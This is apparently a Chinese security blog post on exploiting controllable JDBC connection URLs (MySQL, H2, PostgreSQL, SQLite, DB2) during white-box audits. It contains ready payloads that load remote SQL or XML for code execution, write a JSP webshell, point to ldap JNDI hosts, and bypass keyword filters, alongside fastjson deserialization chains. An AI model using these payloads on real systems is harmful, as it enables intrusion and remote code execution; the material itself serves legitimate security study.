前言
个人感觉白盒漏洞分为三种
一种就是业务层漏洞,比如文件上传,sql注入,逻辑漏洞,或者git管理系统可能存在命令执行,论坛评论区的xss,这些漏洞与语言无关,是在该业务使用场景下不可避免的存在的问题
一种就是组件层漏洞,比如fastjson,log4j,shiro反序列化等,组件想要通用设计比较复杂,并且不像业务层有很多输出需求,审计的化乱而杂
一种就是语言层漏洞,比如php的phar反序列化,java的jdbc反序列化等,这种漏洞属于语言设计中存在不合理,给了很多没必要默认开启的功能,造成了有语言特色的漏洞
JDBC(Java Database Connectivity)是 Java 语言中访问数据库的标准 API,最简单最直观JDBC利用就是后台让你配置数据库,这时你就可以考虑通过jdbc获取shell。
PHP 常用的数据库驱动是 mysqli、PDO 等扩展,这些驱动在解析连接字符串时 功能非常有限,基本只允许简单参数,不会默认触发危险行为。而JDBC 支持 jdbc:mysql://host/db?param=xxx 这种灵活格式,JDBC 驱动 在解析数据库连接 URL 时支持一些功能参数,攻击者如果能控制 JDBC 连接串,就可能利用这些参数触发危险操作
 
mysql
当mysql连接类似于url,当连接字符串可控时,在连接时带有特殊的参数部分就会产生漏洞
文件读取
mysql认为客户端不应该连接到不可信的服务端。
伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,我们就可以任意读取客户端的一个文件,当然前提是运行客户端的用户具有读取该文件的权限
1  | //allowLoadLocalInfile  | 
恶意mysql服务端 https://github.com/rmb122/rogue_mysql_server
MySQL蜜罐
比较有意思的一点就是,读取的文件最终取决于服务端,也就是说上述项目服务端如果配置有要求读取的文件,最终会读取该文件,所以这个项目还可以当作蜜罐使用。即在mysql 8.0.14版本下无需进行任何参数设置,可以直接读取任意文件,当攻击者连接上该版本的恶意mysql数据库,就会被反向读取文件。
Java环境下的反序列化
各版本利用payload: https://github.com/fnmsd/MySQL_Fake_Server
可一样版本范围
5.1.x-5.1.49
6.x
8.x-8.0.20
绕过检测
大小写绕过
true改成yes
由于MySQL驱动允许URL编码,这样就可以绕过关键字autoDeserialize=%74%72%75%65
通过#号注释掉强行添加的内容
采用键值模式jdbc:mysql://(host=myhost,port=1111,key1=value1)/db
h2
H2数据库是一款以Java编写的轻量级关系型数据库。支持内存(mem:)和文件(file:)两种模式
文件模式,H2 会像 MySQL、PostgreSQL 等传统数据库一样,将数据(表、索引等)持久化到磁盘上的物理文件中jdbc:h2:file:[路径]/[数据库文件名];,没文件就新建文件
内存模式,数据库完全在内存中运行,默认情况下,当所有到该内存数据库的连接都关闭时,数据库及其数据会立即被销毁jdbc:h2:mem:[数据库名];,内存没用就新建一个空数据库
利用需要存在jdk环境
可以通过设置 INIT=RUNSCRIPT让系统加载sql文件,而在H2数据库中,我们可以使用 CREATE ALIAS 来定义一个 Java 方法,然后通过 CALL 来执行这个方法,
1  | String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql'";  | 
poc.sql如下CREATE ALIAS EXEC AS $$void shellexec() throws java.io.IOException {Runtime.getRuntime().exec("calc");}$$;CALL EXEC();
不出网利用
1  | String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc.exe')\\;";  | 
低版本下利用js执行
在jdk15之后Nashorn JavaScript 引擎被删除,因此下述在jdk15之后无法利用
1  | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell BEFORE SELECT ON\n" +  | 
存在Groovy 依赖
下述利用需要额外引入了groovy的依赖
1  | String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")" + "})" + "def x";  | 
绕过检测
大小写绕过
添加/绕后关键字jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\NIT=R\\UNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
制表符和其他不可见字符代替空格
Postgresql
通过加载远程恶意XML实现RCE
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
1  | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  | 
任意文件写入
42.1.0 <= PostgreSQL <42.3.3jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=./test.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>
sqlite
1  | Class.forName("org.sqlite.JDBC");  | 
IBM DB2
1  | druidDataSource.setUrl("jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://10.0.0.67:1389/remoteExploit8;");  | 
利用
从上述总结可以看出JDBC反序列化往往可以rce或者读写文件,除了在配置连接场景下的攻击,还可以通过反序列化触发数据库的连接
jdbc连接通常通过getConnection方法触发的,而fastjson,common beanutil和pojonode等链子都能够触发getter方法
如果在反序列化时候有jdbc包就有可能触发jdbc攻击
fastjson打mysql jdbc
1  | //Mysql connector 5.1.11-5.1.48  | 
其他 https://github.com/luelueking/Deserial_Sink_With_JDBC